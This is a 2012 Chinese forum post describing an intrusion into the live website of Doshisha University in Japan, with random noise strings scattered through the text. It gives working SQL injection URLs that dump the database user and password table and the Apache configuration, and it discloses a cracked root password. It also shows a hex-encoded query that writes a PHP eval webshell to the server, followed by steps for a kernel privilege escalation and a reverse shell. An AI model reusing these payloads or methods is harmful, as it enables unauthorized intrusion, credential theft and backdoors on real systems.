找回密码
 立即注册
查看: 2928|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
) D1 B4 ?. c5 i  W' p9 w: D5 U. ^5 Y& b  |7 Y1 D
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
; v* ?. k4 p6 C. C$ G" D! n然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:# j& R" v) X4 A& E8 a. ~. u

4 L9 x! N( m" F0 c! dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user; z0 P: ]! R! \; M' o+ c! }
8 n( P( ]" O& A, x4 D+ R3 v9 B* ]
" h& V- M8 M% C; M: j; d
" F! h( P6 P7 |+ w# I
//@@datadir为数据库文件路径 ; y. r4 P- J. F

  T* C- o" @$ {& h! J  y6 W0 t& L2 e  _( Z9 ?9 `! \& l. d
//load_file读取网站容器apache的配置文件
1 r5 L; o$ M# P4 j( c( |/ c& L
: _+ f, S) o; c& h! a! e* n) O4 |( e# N" U. r+ T) q7 t3 w1 ?
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
: d1 C- q* O3 v( \复制代码
: N& z1 s: d) x1 a( v: I9 E9 y4 r( C" a  d
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
4 O2 d' I* P! b0 g; ?, X3 n" K0 N% s# d
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
  \8 M; d7 ~' t! Q1 a# ?" u. g) ?% _(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)0 d+ b( G$ ^2 n. K4 h1 E: U

; k) b8 h) P/ g前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
" M  T! S/ ^6 M7 H/ q如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
' N! d' Q: h  ?
' p2 r) z- i. P1 ~( D  K" k3 |既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/" W( j  \6 p$ c* Y8 S0 I
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。+ ]% Z9 C# W/ o; H2 x
直接写一句话:5 S0 F) a  s. \% }: b6 t
" G) _8 o8 x, i, ?/ p
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
1 r: f! U; }1 h. P+ @/ {! i3 S+ a: |8 Z* n

" j' M, ?$ G; ?, d' W3 F
  {9 `* I0 j( M  p; a- G  q//最后的#是为了闭合前面的语句 7 K" {5 o9 }9 Y

% D! D- f9 y* F3 C1 H4 i
! g# T) m; @  N/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ( v. N+ |5 L  n
& w* |% g1 R. c2 j
4 s' d# p5 D1 }4 B! D4 x
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
% a8 U5 x3 b0 O( b! j
9 |) h# w2 l% m! }* e5 B) _* U) l' N# `5 ^" [6 [3 L
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ( I9 a' M( p! z' F( D$ d! ?( w( Q

8 n( f8 M! ^, Y* h: t; S
; @6 E3 O" }4 y- |//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 3 V( z7 `9 {( J; T& D/ y
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
# E: ~+ q6 F5 y% U4 v) q1 J& p4 X复制代码
% L5 j- W: f9 p6 H0 O( Y; I9 M9 j' T" {8 N2 f" O
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
: O7 B# Z% I# [; t. ~2 O2 H# {通过上述注入语句,我们就得到了一句话木马:
) z3 e8 @. M3 f9 d. \1 D
# T  y: L, y- |" \ ! s% A6 V0 ~& _/ G( S4 Z8 [+ Q

, T- o, ~: R7 { " I3 m2 E! }' b3 X! M

/ d6 E* r, \& j/ a- M0 N& J- j2 zhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
* `' K& V% M: e3 ]( \复制代码1 H+ y& t5 R7 ~+ C

8 W$ Y: X2 J9 a. R, k用菜刀连接,密码是cmd,如图所示:
& x. g' J, h; k$ i" H然后在命令提示行里看了一下,现在的权限是:
$ v  o: I; M; v% f
, }! U5 k% k3 G2 E之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。0 \+ a- q$ l' A7 r3 _1 N6 I8 Z1 B
好在赋权给这个文件夹不需要root,直接执行赋权语句:
# l- u- z# \1 P  f7 t" ~" d2 K7 f
7 `& D0 W+ T- {  U7 f( c
2 j& w! E2 W2 }3 ^! i
& {# Z9 Z* V5 f7 B; r3 O- p
6 c& j2 _/ v1 p" b: y' U9 n2 V# m7 j0 n8 ?
chmod +x /tmp/
9 W6 Q. Y0 M2 r1 H8 c( j复制代码# R/ ^# w- m1 r7 I' f

9 ^. r" t4 G3 A. D( Z7 Y8 }4 `在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
- y! g* ^1 }: h) i. [然后就查了一下内核版本:
) |  G( \4 e1 [; `3 q
( O4 P$ s: ?1 \( D
& K9 C/ {  a  m8 T" Y
. u1 u- D- G! Q' M, b
, C! }# O9 e! M3 F" e* q; {
' m( |8 F7 p+ wuname-a
- @6 R& E7 G6 |+ A: {5 H+ V
/ h: w4 E* n& e( J9 P
9 g' [7 o& L$ `% F" c//其实lsb_release -a 9 J0 t6 H+ }# {" ?3 Y$ ]
复制代码+ F( \! ^6 l* y1 }( i
( t( T/ A( ?0 y- ~
如图所示:9 K" m) N% f' C) v% b

7 r! C6 r7 B% T1 ?+ L6 o4 q% _内核版本:linux mainz1 2.6.28-194.e159 X2 v* w- S6 P$ v! p) }
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)1 Y# P0 v3 O& w$ F9 g6 V
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
' ?- d0 g6 c' r# R* ~( \; L
! t; J, ~) r7 r# f+ S. g2 [然后给予执行权限
; C. j% e( _7 I$ d一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样. ~4 _; G. C( A6 `
- R$ v6 ]# b- U6 I  {2 \
' _- @8 L% G7 ~5 o0 Q& `
$ w+ W  j) ]( Q# x% r0 i' ^/ e6 V

0 H2 S  z$ _1 s' Z8 M* x1 t" X: _# ]) p. g; E  P. t
chmod +x /tmp/2.6.18-194
: R% j* R; u# t, V8 Q4 `复制代码 然后直接执行!~4 L: P0 M8 P/ A0 V. ^

' C7 Z/ \2 V+ G4 ]6 x总结:
6 M2 H" H: G/ B4 A. h8 @这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
, b' s; `- [3 J1 K  l6 j; K2 N提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
# X  n( D+ t: ~) T% o& M: o1 }  ?7 ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表